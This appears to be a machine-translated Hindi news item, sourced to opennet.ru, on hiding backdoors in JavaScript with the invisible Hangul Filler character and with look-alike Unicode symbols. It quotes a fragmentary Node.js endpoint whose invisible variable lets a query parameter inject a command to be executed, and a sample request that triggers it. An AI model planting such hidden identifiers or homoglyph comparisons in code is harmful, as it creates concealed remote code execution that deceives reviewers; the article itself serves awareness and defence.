जावास्क्रिप्ट कोड में क्रियाओं को छिपाने के लिए अदृश्य यूनिकोड वर्णों का उपयोग करना

द्विदिश पाठ के प्रदर्शन क्रम को बदलने वाले यूनिकोड वर्णों के उपयोग के आधार पर ट्रोजन स्रोत आक्रमण पद्धति के बाद, छिपी हुई क्रियाओं को शुरू करने के लिए एक और तकनीक प्रकाशित की गई है, जो जावास्क्रिप्ट कोड पर लागू होती है। नई पद्धति यूनिकोड वर्ण "ㅤ" (कोड 0x3164, "हंगुल फिलर") के उपयोग पर आधारित है, जो एक अक्षर है लेकिन इसमें कोई दृश्य सामग्री नहीं है। जावास्क्रिप्ट चर नामों में उपयोग के लिए ECMAScript 2015 विनिर्देश के बाद से इस चरित्र से संबंधित यूनिकोड श्रेणी की अनुमति दी गई है, जो नोटपैड ++ और वीएस कोड जैसे लोकप्रिय कोड संपादकों में अन्य चर से अदृश्य चर या नए चर बनाने के लिए संभव बनाता है।

एक उदाहरण के रूप में, Node.js प्लेटफ़ॉर्म के लिए कोड दिया गया है, जिसमें एक एकल वर्ण "ㅤ" वाले एक चर का उपयोग करके, एक पिछला दरवाजा छिपा हुआ है जो आपको हमलावर द्वारा निर्दिष्ट कोड को निष्पादित करने की अनुमति देता है: app.get( '/network_health', async (req, res) => { const { टाइमआउट, ㅤ} = req.query;//वास्तव में कहते हैं "const { टाइमआउट, ㅤ \u3164}" const checkCommands = ['पिंग -c 1 google. कॉम', 'कर्ल-एस http:// example.com/', ㅤ // कॉमा के बाद \u3164];

पहली नज़र में, केवल टाइमआउट मान बाहरी पैरामीटर के माध्यम से पारित किया जाता है, और निष्पादित किए जाने वाले आदेशों वाले सरणी में हानिरहित निश्चित सूची होती है। लेकिन वास्तव में, टाइमआउट चर के बाद, प्रतीक कोड \u3164 के साथ एक और अदृश्य चर का मान असाइन किया गया है, जिसे निष्पादन योग्य आदेशों की सरणी में भी प्रतिस्थापित किया गया है। इस प्रकार, ऐसी संरचना की उपस्थिति में, हमलावर पिछले दरवाजे को सक्रिय करने और अपने कोड को निष्पादित करने के लिए "https://host:8080/network_health?%E3%85%A4=command" जैसा अनुरोध भेज सकता है।

एक अन्य उदाहरण के रूप में, अक्षर "ǃ" (ALVEOLAR CLICK) दिया गया है, जिसका उपयोग विस्मयादिबोधक चिह्न को इंगित करने के लिए किया जा सकता है। उदाहरण के लिए, अभिव्यक्ति "if(environmentǃ=ENV_PROD){" जब Node.js 14 में क्रियान्वित होती है तो हमेशा सत्य होगी, क्योंकि यह अंतरों की जांच नहीं करती है, लेकिन चर "environmentǃ" को ENV_PROD पर सेट करती है। भ्रामक यूनिकोड वर्णों में "／", "-", "＋", "⩵", "❨", "⫽", "꓿", और "∗" शामिल हैं।

स्रोत: opennet.ru